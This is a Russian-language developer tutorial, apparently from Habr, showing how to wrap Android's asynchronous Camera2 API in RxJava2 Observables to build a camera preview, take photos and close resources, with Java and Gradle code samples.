Как известно, RxJava идеально подходит для решения двух задач: обработки потоков событий и работы с асинхронными методами. В одном из предыдущих постов я показал, как можно построить цепочку операторов, обрабатывающую поток событий от сенсора. А сегодня я хочу продемонстрировать, как RxJava применяется для работы с существенно асинхронным API. В качестве такого API я выбрал Camera2 API.


Ниже будет показан пример использования Camera2 API, который пока довольно слабо задокументирован и изучен сообществом. Для его укрощения будет использована RxJava2. Вторая версия этой популярной библиотеки вышла сравнительно недавно, и примеров на ней тоже немного.


Для кого этот пост? Я рассчитываю, что читатель – умудрённый опытом, но всё ещё любознательный Android-разработчик. Очень желательны базовые знания о реактивном программировании (хорошее введение – здесь) и понимание Marble Diagrams. Пост будет полезен тем, кто хочет проникнуться реактивным подходом, а также тем, кто хочет использовать Camera2 API в своих проектах. Предупреждаю, будет много кода!


Исходники проекта можно найти на GitHub.


Подготовка проекта


Добавим сторонние зависимости в наш проект.


Retrolambda


При работе с RxJava совершенно необходима поддержка лямбд – иначе код будет выглядеть просто ужасно. Так что если вы ещё не перешли на Android Studio 3.0, добавим Retrolambda в наш проект.


buildscript {
     dependencies {
      classpath 'me.tatarka:gradle-retrolambda:3.6.0'
   }
}

apply plugin: 'me.tatarka.retrolambda'

Теперь можно поднять версию языка до 8, что обеспечит поддержку лямбд.


android {
  compileOptions {
    sourceCompatibility JavaVersion.VERSION_1_8
    targetCompatibility JavaVersion.VERSION_1_8
  }
}

Полные инструкции.


RxJava2


compile "io.reactivex.rxjava2:rxjava:2.1.0"

Актуальную версию, полные инструкции и документацию ищите тут.


RxAndroid


Полезная библиотека при использовании RxJava на Android. В основном используется ради AndroidSchedulers. Репозиторий.


compile 'io.reactivex.rxjava2:rxandroid:2.0.1'

Camera2 API


В своё время я участвовал в code review модуля, написанного с использованием Camera1 API, и был неприятно удивлён неизбежными в силу дизайна API concurrency issues. Видимо, в Google тоже осознали проблему и задепрекейтили первую версию API. Взамен предлагается использовать Camera2 API. Вторая версия доступна на Android Lollipop и новее.


Давайте же на него посмотрим.


Первые впечатления


Google проделал хорошую работу над ошибками в плане организации потоков. Все операции выполняются асинхронно, уведомляя о результатах через колбеки. Причём, передавая соответствующий Handler, можно выбрать поток, в котором будут вызываться методы колбеков.


Референсная имплементация


Google предлагает пример приложения Camera2Basic.


Это довольно наивная реализация, но помогает начать разбираться с API. Посмотрим, сможем ли мы сделать более изящное решение, используя реактивный подход.


Шаги для получения снимка


Если кратко, то последовательность действий для получения снимка такова:


  • выбрать устройство,
  • открыть устройство,
  • открыть сессию,
  • запустить превью,
  • по нажатию на кнопку сделать снимок,
  • закрыть сессию,
  • закрыть устройство.

Выбор устройства


Прежде всего нам понадобится CameraManager.


mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);

Этот класс позволяет получать информацию о существующих в системе камерах и подключаться к ним. Камер может быть несколько, в смартфонах обычно их две: фронтальная и тыловая.


Получаем список камер.


String[] cameraIdList = mCameraManager.getCameraIdList();

Вот так сурово – просто список строковых айдишников.


Теперь получим список характеристик для каждой камеры.


for (String cameraId : cameraIdList) {
            CameraCharacteristics characteristics = mCameraManager.getCameraCharacteristics(cameraId);
...
}

CameraCharacteristics содержит огромное количество ключей, по которым можно получать информацию о камере.


Чаще всего на этапе выбора камеры смотрят на то, куда направлена камера. Для этого необходимо получить значение по ключу CameraCharacteristics.LENS_FACING.


Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);

Камера может быть фронтальной (CameraCharacteristics.LENS_FACING_FRONT), тыловой (CameraCharacteristics.LENS_FACING_BACK) или подключаемой (CameraCharacteristics.LENS_FACING_EXTERNAL).


Функция выбора камеры с предпочтением по ориентации может выглядеть примерно так:


       @Nullable
    private static String getCameraWithFacing(@NonNull CameraManager manager, int lensFacing) throws CameraAccessException {
        String possibleCandidate = null;
        String[] cameraIdList = manager.getCameraIdList();
        if (cameraIdList.length == 0) {
            return null;
        }
        for (String cameraId : cameraIdList) {
            CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraId);

            StreamConfigurationMap map = characteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
            if (map == null) {
                continue;
            }

            Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);
            if (facing != null && facing == lensFacing) {
                return cameraId;
            }

            //just in case device don't have any camera with given facing
            possibleCandidate = cameraId;
        }
        if (possibleCandidate != null) {
            return possibleCandidate;
        }
        return cameraIdList[0];
    }

Отлично, теперь у нас есть id камеры нужной ориентации (или любой другой, если нужной не нашлось). Пока всё довольно просто, никаких асинхронных действий.


Создаем Observable


Мы подходим к асинхронным методам API. Каждый из них мы превратим в Observable с помощью метода create.


openCamera


Устройство перед использованием нужно открыть с помощью метода CameraManager.openCamera.


void openCamera (String cameraId, 
                CameraDevice.StateCallback callback, 
                Handler handler)

В этот метод передаём id выбранной камеры, колбек для получения асинхронного результата и Handler, если мы хотим, чтобы методы колбека вызывались в потоке этого Handler.


Вот мы и столкнулись с первым асинхронным методом. Оно и понятно, ведь инициализация устройства – длительный и дорогой процесс.


Давайте взглянем на CameraDevice.StateCallback.



В реактивном мире эти методы будут соответствовать событиям. Давайте сделаем Observable, который будет генерировать события, когда API камеры будет вызывать onOpened, onClosed, onDisconnected. Чтобы мы могли различать эти события, создадим enum:


public enum DeviceStateEvents {
        ON_OPENED,
        ON_CLOSED,
        ON_DISCONNECTED
    }

А чтобы в реактивном потоке (тут и далее я буду называть реактивным потоком последовательность реактивных операторов – не путать со Thread) была возможность что-то сделать с устройством, мы добавим в генерируемое событие ссылку на CameraDevice. Самый простой способ – генерировать Pair. Для создания Observable воспользуемся методом create (напомню, мы используем RxJava2, так что теперь нам совсем не стыдно это делать).


Вот сигнатура метода create:


public static  Observable create(ObservableOnSubscribe source)

То есть нам нужно передать в него объект, реализующий интерфейс ObservableOnSubscribe. Этот интерфейс содержит всего один метод


void subscribe(@NonNull ObservableEmitter e) throws Exception;

который вызывается каждый раз, когда Observer подписывается (subscribe) на наш Observable.


Посмотрим, что такое ObservableEmitter.


public interface ObservableEmitter extends Emitter {
    void setDisposable(@Nullable Disposable d);
    void setCancellable(@Nullable Cancellable c);
    boolean isDisposed();
    ObservableEmitter serialize();
}

Уже хорошо. С помощью методов setDisposable/setCancellable можно задать действие, которое будет выполнено, когда от нашего Observable отпишутся. Это крайне полезно, если при создании Observable мы открывали ресурс, который надо закрывать. Мы могли бы создать Disposable, в котором закрывать устройство при unsubscribe, но мы хотим реагировать на событие onClosed, поэтому делать этого не будем.


Метод isDisposed позволяет проверять, подписан ли кто-то ещё на наш Observable.


Заметим, что ObservableEmitter расширяет интерфейс Emitter.


public interface Emitter {
    void onNext(@NonNull T value);
    void onError(@NonNull Throwable error);
    void onComplete();
}

Вот эти методы нам и нужны! Мы будем вызывать onNext каждый раз, когда Camera API будет вызывать колбеки интерфейса CameraDevice.StateCallback onOpened / onClosed / onDisconnected; и мы будем вызывать onError, когда Camera API будет вызывать колбек onError.


Итак, применим наши знания. Mетод, создающий Observable, может выглядеть так (ради читабельности я убрал проверки на isDisposed(), полный код со скучными проверками смотрите на GitHub):


public static Observable> openCamera(
        @NonNull String cameraId,
        @NonNull CameraManager cameraManager
    ) {
        return Observable.create(observableEmitter -> {
               cameraManager.openCamera(cameraId, new CameraDevice.StateCallback() {
                @Override
                public void onOpened(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_OPENED, cameraDevice));
                }

                @Override
                public void onClosed(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_CLOSED, cameraDevice));
                        observableEmitter.onComplete();
                }

                @Override
                public void onDisconnected(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_DISCONNECTED, cameraDevice));
                        observableEmitter.onComplete();
                }

                @Override
                public void onError(@NonNull CameraDevice camera, int error) {
                        observableEmitter.onError(new OpenCameraException(OpenCameraException.Reason.getReason(error)));
                }
            }, null);
        });
    }

Супер! Мы только что стали чуть более реактивными!


Как я уже говорил, все методы Camera2 API принимают Handler как один из параметров. Передавая null, мы будем получать вызовы колбеков в текущем потоке. В нашем случае это поток, в котором был вызван subscribe, то есть Main Thread.


createCaptureSession


Теперь, когда у нас есть CameraDevice, можно открыть CaptureSession. Не будем медлить!


Для этого воспользуемся методом CameraDevice.createCaptureSession. Вот его сигнатура:


public abstract void createCaptureSession(@NonNull List outputs,
            @NonNull CameraCaptureSession.StateCallback callback, @Nullable Handler handler)
            throws CameraAccessException;

На вход подаётся список Surface (где его взять, разберёмся чуть позже) и CameraCaptureSession.StateCallback. Давайте посмотрим, какие в нём есть методы.



Богато! Но мы уже знаем, как побеждать колбеки. Создадим Observable, который будет генерировать события, когда Camera API будет вызывать эти методы. Чтобы их различать, создадим enum.


    public enum CaptureSessionStateEvents {
        ON_CONFIGURED,
        ON_READY,
        ON_ACTIVE,
        ON_CLOSED,
        ON_SURFACE_PREPARED
    }

А чтобы в реактивном потоке был объект CameraCaptureSession, будем генерировать не просто CaptureSessionStateEvent, а Pair. Вот как может выглядеть код метода, создающего такой Observable (проверки снова убраны для читабельности):


   @NonNull
    public static Observable> createCaptureSession(
        @NonNull CameraDevice cameraDevice,
        @NonNull List surfaceList
    ) {
        return Observable.create(observableEmitter -> {
            cameraDevice.createCaptureSession(surfaceList, new CameraCaptureSession.StateCallback() {

                @Override
                public void onConfigured(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_CONFIGURED, session));
                  }

                @Override
                public void onConfigureFailed(@NonNull CameraCaptureSession session) {
                        observableEmitter.onError(new CreateCaptureSessionException(session));
                }

                @Override
                public void onReady(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_READY, session));
                }

                @Override
                public void onActive(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_ACTIVE, session));
                }

                @Override
                public void onClosed(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_CLOSED, session));
                        observableEmitter.onComplete();
                }

                @Override
                public void onSurfacePrepared(@NonNull CameraCaptureSession session, @NonNull Surface surface) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_SURFACE_PREPARED, session));
                }
            }, null);
        });
    }

setRepeatingRequest


Для того чтобы на экране появилась живая картинка с камеры, необходимо постоянно получать новые изображения с устройства и передавать их для отображения. Для этого в API есть удобный метод CameraCaptureSession.setRepeatingRequest.


int setRepeatingRequest(@NonNull CaptureRequest request,
            @Nullable CaptureCallback listener, @Nullable Handler handler)
            throws CameraAccessException;

Применяем уже знакомый нам приём, чтобы сделать эту операцию реактивной. Смотрим на интерфейс CameraCaptureSession.CaptureCallback.



Опять же, мы хотим различать генерируемые события и для этого создадим enum.


public enum CaptureSessionEvents {
        ON_STARTED,
        ON_PROGRESSED,
        ON_COMPLETED,
        ON_SEQUENCE_COMPLETED,
        ON_SEQUENCE_ABORTED
    }

Мы видим, что в методы передаётся достаточно много информации, которую мы хотим иметь в реактивном потоке, в том числе CameraCaptureSession, CaptureRequest, CaptureResult, поэтому просто Pair<> нам уже не подойдёт – создадим POJO:


  public static class CaptureSessionData {
        final CaptureSessionEvents event;
        final CameraCaptureSession session;
        final CaptureRequest request;
        final CaptureResult result;

        CaptureSessionData(CaptureSessionEvents event, CameraCaptureSession session, CaptureRequest request, CaptureResult result) {
            this.event = event;
            this.session = session;
            this.request = request;
            this.result = result;
        }
    }

Создание CameraCaptureSession.CaptureCallback вынесем в отдельный метод.


       @NonNull
    private static CameraCaptureSession.CaptureCallback createCaptureCallback(final ObservableEmitter observableEmitter) {
        return new CameraCaptureSession.CaptureCallback() {

            @Override
            public void onCaptureStarted(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, long timestamp, long frameNumber) {
            }

            @Override
            public void onCaptureProgressed(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull CaptureResult partialResult) {
            }

            @Override
            public void onCaptureCompleted(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull TotalCaptureResult result) {
                if (!observableEmitter.isDisposed()) {
                    observableEmitter.onNext(new CaptureSessionData(CaptureSessionEvents.ON_COMPLETED, session, request, result));
                }
            }

            @Override
            public void onCaptureFailed(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull CaptureFailure failure) {
                if (!observableEmitter.isDisposed()) {
                    observableEmitter.onError(new CameraCaptureFailedException(failure));
                }
            }

            @Override
            public void onCaptureSequenceCompleted(@NonNull CameraCaptureSession session, int sequenceId, long frameNumber) {
            }

            @Override
            public void onCaptureSequenceAborted(@NonNull CameraCaptureSession session, int sequenceId) {
            }
        };
    }

Из всех этих сообщений нам интересны onCaptureCompleted/onCaptureFailed, остальные события игнорируем. Если они понадобятся вам в ваших проектах, их несложно добавить.


Теперь всё готово для создания Observable.


    static Observable fromSetRepeatingRequest(@NonNull CameraCaptureSession captureSession, @NonNull CaptureRequest request) {
        return Observable
            .create(observableEmitter -> captureSession.setRepeatingRequest(request, createCaptureCallback(observableEmitter), null));
    }

capture


На самом деле, этот шаг полностью аналогичен предыдущему, только мы делаем не повторяющийся запрос, а единичный. Для этого воспользуемся методом CameraCaptureSession.capture.


    public abstract int capture(@NonNull CaptureRequest request,
            @Nullable CaptureCallback listener, @Nullable Handler handler)
            throws CameraAccessException;

Он принимает точно такие же параметры, так что мы сможем использовать функцию, определённую выше, для создания CaptureCallback.


    static Observable fromCapture(@NonNull CameraCaptureSession captureSession, @NonNull CaptureRequest request) {
        return Observable
            .create(observableEmitter -> captureSession.capture(request, createCaptureCallback(observableEmitter), null));
    }

Подготовка Surface


Cameara2 API позволяет в запросе передавать список Surface, которые будут использованы для записи данных с устройства. Нам потребуются два Surface:


  • для отображения preview на экране,
  • для записи снимка в JPEG-файл.

TextureView


Для отображения preview на экране мы воспользуемся TextureView. Для того чтобы получить Surface из TextureView, предлагается воспользоваться методом TextureView.setSurfaceTextureListener.
TextureView уведомит listener, когда Surface будет готов к использованию.


Давайте на этот раз создадим PublishSubject, который будет генерировать события, когда TextureView вызывает методы listener.


private final PublishSubject mOnSurfaceTextureAvailable = PublishSubject.create();

@Override
public void onCreate(@Nullable Bundle saveState){

    mTextureView.setSurfaceTextureListener(new TextureView.SurfaceTextureListener(){
        @Override
        public void onSurfaceTextureAvailable(SurfaceTexture surface,int width,int height){
           mOnSurfaceTextureAvailable.onNext(surface);
        }
    });
    ...
}

Используя PublishSubject, мы избегаем возможных проблем с множественным subscribe. Мы устанавливаем SurfaceTextureListener один раз в onCreate и дальше живём спокойно. PublishSubject позволяет подписываться на него сколько угодно раз и раздает события всем подписавшимся.



При использовании Camera2 API существует тонкость, связанная с невозможностью явно задать размер изображения, – камера сама выбирает одно из поддерживаемых ею разрешений на основании размеров, переданных ей Surface. Поэтому придётся пойти на такой трюк: выясняем список поддерживаемых камерой размеров изображения, выбираем наиболее приглянувшийся и затем устанавливаем размер буфера в точности таким же.


private void setupSurface(@NonNull SurfaceTexture surfaceTexture) {
    surfaceTexture.setDefaultBufferSize(mCameraParams.previewSize.getWidth(), mCameraParams.previewSize.getHeight());
    mSurface = new Surface(surfaceTexture);
}

При этом, если мы хотим видеть изображение с сохранением пропорций, необходимо задать нужные пропорции нашему TextureView. Для этого мы его расширим и переопределим метод onMeasure:


public class AutoFitTextureView extends TextureView {

    private int mRatioWidth = 0;
    private int mRatioHeight = 0;
...

    public void setAspectRatio(int width, int height) {
        mRatioWidth = width;
        mRatioHeight = height;
        requestLayout();
    }

    @Override
    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
        int width = MeasureSpec.getSize(widthMeasureSpec);
        int height = MeasureSpec.getSize(heightMeasureSpec);
        if (0 == mRatioWidth || 0 == mRatioHeight) {
            setMeasuredDimension(width, height);
        } else {
            if (width < height * mRatioWidth / mRatioHeight) {
                setMeasuredDimension(width, width * mRatioHeight / mRatioWidth);
            } else {
                setMeasuredDimension(height * mRatioWidth / mRatioHeight, height);
            }
        }
    }
}

Запись в файл


Для того чтобы сохранить изображение из Surface в файл, воспользуемся классом ImageReader.
Несколько слов о выборе размера для ImageReader. Во-первых, мы должны выбрать его из поддерживаемых камерой. Во-вторых, соотношение сторон должно совпадать с тем, что мы выбрали для preview.


Чтобы мы могли получать уведомления от ImageReader о готовности изображения, воспользуемся методом setOnImageAvailableListener


void setOnImageAvailableListener (ImageReader.OnImageAvailableListener listener, Handler handler)

Передаваемый listener реализует всего один метод onImageAvailable.
Каждый раз, когда Camera API будет записывать изображение в Surface, предоставленную нашим ImageReader, он будет вызывать этот колбек.


Сделаем эту операцию реактивной: создадим Observable, который будет генерировать сообщение каждый раз, когда ImageReader будет готов предоставить изображение.


@NonNull
public static Observable createOnImageAvailableObservable(@NonNull ImageReader imageReader) {
    return Observable.create(subscriber -> {

        ImageReader.OnImageAvailableListener listener = reader -> {
            if (!subscriber.isDisposed()) {
                subscriber.onNext(reader);
            }
        };
        imageReader.setOnImageAvailableListener(listener, null);
        subscriber.setCancellable(() -> imageReader.setOnImageAvailableListener(null, null)); //remove listener on unsubscribe
    });
}

Обратите внимание, тут мы воспользовались методом ObservableEmitter.setCancellable, чтобы удалять listener, когда от Observable отписываются.


Запись в файл – длительная операция, сделаем её реактивной с помощью метода fromCallable.


@NonNull
public static Single save(@NonNull Image image, @NonNull File file) {
    return Single.fromCallable(() -> {
        try (FileChannel output = new FileOutputStream(file).getChannel()) {
            output.write(image.getPlanes()[0].getBuffer());
            return file;
        }
        finally {
            image.close();
        }
    });
}

Теперь мы можем задать такую последовательность действий: когда в ImageReader появляется готовое изображение, мы записываем его в файл в рабочем потоке Schedulers.io(), затем переключаемся в UI thread и уведомляем UI о готовности файла.


private void initImageReader() {
    Size sizeForImageReader = CameraStrategy.getStillImageSize(mCameraParams.cameraCharacteristics, mCameraParams.previewSize);
    mImageReader = ImageReader.newInstance(sizeForImageReader.getWidth(), sizeForImageReader.getHeight(), ImageFormat.JPEG, 1);
    mCompositeDisposable.add(
        ImageSaverRxWrapper.createOnImageAvailableObservable(mImageReader)
            .observeOn(Schedulers.io())
            .flatMap(imageReader -> ImageSaverRxWrapper.save(imageReader.acquireLatestImage(), mFile).toObservable())
            .observeOn(AndroidSchedulers.mainThread())
            .subscribe(file -> mCallback.onPhotoTaken(file.getAbsolutePath(), getLensFacingPhotoType()))
    );
}

Запускаем preview


Итак, мы основательно подготовились. Мы уже можем создавать Observable для основных асинхронных действий, которые требуются для работы приложения. Впереди самое интересное – конфигурирование реактивных потоков.


Для разминки давайте сделаем так, чтобы камера открывалась после того, как SurfaceTexture готов к использованию.


        Observable> cameraDeviceObservable = mOnSurfaceTextureAvailable
            .firstElement()
.doAfterSuccess(this::setupSurface)
.doAfterSuccess(__ -> initImageReader())
            .toObservable()
            .flatMap(__ -> CameraRxWrapper.openCamera(mCameraParams.cameraId, mCameraManager))
            .share();

Ключевым оператором здесь выступает flatMap.



В нашем случае при получении события о готовности SurfaceTexture он выполнит функцию openCamera и пустит события от созданного ей Observable дальше в реактивный поток.


Важно также понять, зачем в конце цепочки используется оператор share. Он эквивалентен цепочке операторов publish().refCount().



Если долго смотреть на эту Marble Diagram, то можно заметить, что результат весьма похож на результат использования PublishSubject. Действительно, мы решаем похожую проблему: если на наш Observable подпишутся несколько раз, мы не хотим каждый раз открывать камеру заново.


Для удобства давайте введём ещё пару Observable.


        Observable openCameraObservable = cameraDeviceObservable
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_OPENED)
            .map(pair -> pair.second)
            .share();

        Observable closeCameraObservable = cameraDeviceObservable
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_CLOSED)
            .map(pair -> pair.second)
            .share();

openCameraObservable будет генерировать события, когда камера будет успешно открыта, а closeCameraObservable – когда она будет закрыта.


Сделаем ещё один шаг: после успешного открытия камеры откроем сессию.


        Observable> createCaptureSessionObservable = openCameraObservable
            .flatMap(cameraDevice -> CameraRxWrapper
                .createCaptureSession(cameraDevice, Arrays.asList(mSurface, mImageReader.getSurface()))
            )
            .share();

И по аналогии создадим ещё пару Observable, сигнализирующих об успешном открытии или закрытии сессии.


        Observable captureSessionConfiguredObservable = createCaptureSessionObservable
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CONFIGURED)
            .map(pair -> pair.second)
            .share();

        Observable captureSessionClosedObservable = createCaptureSessionObservable
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CLOSED)
            .map(pair -> pair.second)
            .share();

Наконец, мы можем задать повторяющийся запрос для отображения preview.


        Observable previewObservable = captureSessionConfiguredObservable
            .flatMap(cameraCaptureSession -> {
                CaptureRequest.Builder previewBuilder = createPreviewBuilder(cameraCaptureSession, mSurface);
                return CameraRxWrapper.fromSetRepeatingRequest(cameraCaptureSession, previewBuilder.build());
            })
            .share();

Теперь достаточно выполнить previewObservable.subscribe() — и на экране появится живая картинка с камеры!


Небольшое отступление. Если схлопнуть все промежуточные Observable, то получится вот такая цепочка операторов:


        mOnSurfaceTextureAvailable
            .firstElement()
            .doAfterSuccess(this::setupSurface)
            .toObservable()
            .flatMap(__ -> CameraRxWrapper.openCamera(mCameraParams.cameraId, mCameraManager))
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_OPENED)
            .map(pair -> pair.second)
            .flatMap(cameraDevice -> CameraRxWrapper
                .createCaptureSession(cameraDevice, Arrays.asList(mSurface, mImageReader.getSurface()))
            )
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CONFIGURED)
            .map(pair -> pair.second)
            .flatMap(cameraCaptureSession -> {
                CaptureRequest.Builder previewBuilder = createPreviewBuilder(cameraCaptureSession, mSurface);
                return CameraRxWrapper.fromSetRepeatingRequest(cameraCaptureSession, previewBuilder.build());
            })
            .subscribe();

И этого достаточно для показа preview. Впечатляет, не так ли?


На самом деле, у этого решения есть проблемы с закрытием ресурсов, да и снимки пока делать нельзя. Я привёл его, чтобы была видна цепочка целиком. Все промежуточные Observable понадобятся нам при составлении более сложных сценариев поведения в будущем.


Для того чтобы у нас была возможность отписаться, необходимо сохранять возвращаемое методом subscribe Disposable. Удобнее всего пользоваться CompositeDisposable.


private final CompositeDisposable mCompositeDisposable = new CompositeDisposable();

    private void unsubscribe() {
        mCompositeDisposable.clear();
    }

В реальном коде я везде делаю mCompositeDisposable.add(...subscribe()), но сейчас я эти вызовы опускаю, чтобы вам было легче читать.


Как составлять запросы CaptureRequest


Внимательный читатель, конечно, уже заметил, что мы использовали метод createPreviewBuilder, который ещё не описывался. Давайте же посмотрим, что у него внутри.


 @NonNull
    CaptureRequest.Builder createPreviewBuilder(CameraCaptureSession captureSession, Surface previewSurface) throws CameraAccessException {
        CaptureRequest.Builder builder = captureSession.getDevice().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
        builder.addTarget(previewSurface);
        setup3Auto(builder);
        return builder;
    }

Здесь мы пользуемся любезно предоставленным нам шаблоном запроса для preview, добавляем в него нашу Surface и говорим, что хотим Auto Focus, Auto Exposure и Auto White Balance (три A). Чтобы этого добиться, достаточно установить несколько флагов.


    private void setup3Auto(CaptureRequest.Builder builder) {
        // Enable auto-magical 3A run by camera device
        builder.set(CaptureRequest.CONTROL_MODE, CaptureRequest.CONTROL_MODE_AUTO);

        Float minFocusDist = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE);

        // If MINIMUM_FOCUS_DISTANCE is 0, lens is fixed-focus and we need to skip the AF run.
        boolean noAFRun = (minFocusDist == null || minFocusDist == 0);

        if (!noAFRun) {
            // If there is a "continuous picture" mode available, use it, otherwise default to AUTO.
            int[] afModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
            if (contains(afModes, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE)) {
                builder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE);
            }
            else {
                builder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_AUTO);
            }
        }

        // If there is an auto-magical flash control mode available, use it, otherwise default to
        // the "on" mode, which is guaranteed to always be available.
        int[] aeModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES);
        if (contains(aeModes, CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH)) {
            builder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH);
        }
        else {
            builder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
        }

        // If there is an auto-magical white balance control mode available, use it.
        int[] awbModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AWB_AVAILABLE_MODES);
        if (contains(awbModes, CaptureRequest.CONTROL_AWB_MODE_AUTO)) {
            // Allow AWB to run auto-magically if this device supports this
            builder.set(CaptureRequest.CONTROL_AWB_MODE, CaptureRequest.CONTROL_AWB_MODE_AUTO);
        }
    }

Делаем снимок


Для того чтобы получать события по нажатиям кнопок, можно воспользоваться прекрасной библиотекой RxBinding, но мы сделаем проще.


private final PublishSubject mOnShutterClick = PublishSubject.create();

    public void takePhoto() {
        mOnShutterClick.onNext(this);
    }

Теперь набросаем план действий. Прежде всего мы хотим делать снимок тогда, когда уже начался preview (это значит, что всё готово для снимка). Для этого воспользуемся оператором combineLatest.


Observable.combineLatest(previewObservable, mOnShutterClick, (captureSessionData, o) -> captureSessionData)

Но он будет генерировать события постоянно при получении свежих событий от previewObservable, поэтому ограничимся первым событием.


                .firstElement().toObservable()

Дождёмся, пока сработают автофокус и автоэкспозиция.


                .flatMap(this::waitForAf)
                .flatMap(this::waitForAe)

И, наконец, сделаем снимок.


.flatMap(captureSessionData -> captureStillPicture(captureSessionData.session))

Цепочка операторов целиком выглядит так:


            Observable.combineLatest(previewObservable, mOnShutterClick, (captureSessionData, o) -> captureSessionData)
                .firstElement().toObservable()
                .flatMap(this::waitForAf)
                .flatMap(this::waitForAe)
                .flatMap(captureSessionData -> captureStillPicture(captureSessionData.session))
                .subscribe(__ -> {
                }, this::onError)

Посмотрим, что внутри captureStillPicture.


    @NonNull
    private Observable captureStillPicture(@NonNull CameraCaptureSession cameraCaptureSession) {
        return Observable
            .fromCallable(() -> createStillPictureBuilder(cameraCaptureSession.getDevice()))
            .flatMap(builder -> CameraRxWrapper.fromCapture(cameraCaptureSession, builder.build()));
    }

Здесь нам всё уже довольно знакомо: создаём запрос, запускаем capture – и ждём результат. Запрос конструируется из шаблона STILL_PICTURE, в него добавляется Surface для записи в файл, а также несколько волшебных флагов, сообщающих камере, что это ответственный запрос для сохранения изображения. Также задаётся информация о том, как ориентировать изображение в JPEG.


    @NonNull
    private CaptureRequest.Builder createStillPictureBuilder(@NonNull CameraDevice cameraDevice) throws CameraAccessException {
        final CaptureRequest.Builder builder;
        builder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
        builder.set(CaptureRequest.CONTROL_CAPTURE_INTENT, CaptureRequest.CONTROL_CAPTURE_INTENT_STILL_CAPTURE);
        builder.set(CaptureRequest.CONTROL_AE_PRECAPTURE_TRIGGER, CameraMetadata.CONTROL_AE_PRECAPTURE_TRIGGER_IDLE);
        builder.addTarget(mImageReader.getSurface());
        setup3Auto(builder);

        int rotation = mWindowManager.getDefaultDisplay().getRotation();
        builder.set(CaptureRequest.JPEG_ORIENTATION, CameraOrientationHelper.getJpegOrientation(mCameraParams.cameraCharacteristics, rotation));
        return builder;
    }

Закрываем ресурсы


Хорошие приложения всегда закрывают ресурсы, особенно такие дорогие, как камера. Давайте тоже по событию onPause будем всё закрывать.


       Observable.combineLatest(previewObservable, mOnPauseSubject, (state, o) -> state)
            .firstElement().toObservable()
            .doOnNext(captureSessionData -> captureSessionData.session.close())
            .flatMap(__ -> captureSessionClosedObservable)
            .doOnNext(cameraCaptureSession -> cameraCaptureSession.getDevice().close())
            .flatMap(__ -> closeCameraObservable)
            .doOnNext(__ -> closeImageReader())
            .subscribe(__ -> unsubscribe(), this::onError);

Здесь мы поочерёдно закрываем сессию и устройство, дожидаясь подтверждения от API.


Выводы


Мы создали приложение, которое умеет показывать живую картинку preview и делать снимки. То есть получили вполне рабочее приложение камеры. Нераскрытыми остались вопросы ожидания срабатывания автофокуса и автовыбора экспозиции и выбора ориентации файла. Ответы на них обязательно появятся в следующей части.


С появлением RxJava разработчики получили в свои руки могучий инструмент по обузданию асинхронных API. Используя его грамотно, можно избежать Callback Hell и получить чистый, легко читаемый и расширяемый код. Делитесь вашими мыслями в комментариях!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330080/


Метки:  

Побеждаем Android Camera2 API с помощью RxJava2 (часть 1)

Четверг, 08 Июня 2017 г. 12:29 + в цитатник


Как известно, RxJava идеально подходит для решения двух задач: обработки потоков событий и работы с асинхронными методами. В одном из предыдущих постов я показал, как можно построить цепочку операторов, обрабатывающую поток событий от сенсора. А сегодня я хочу продемонстрировать, как RxJava применяется для работы с существенно асинхронным API. В качестве такого API я выбрал Camera2 API.


Ниже будет показан пример использования Camera2 API, который пока довольно слабо задокументирован и изучен сообществом. Для его укрощения будет использована RxJava2. Вторая версия этой популярной библиотеки вышла сравнительно недавно, и примеров на ней тоже немного.


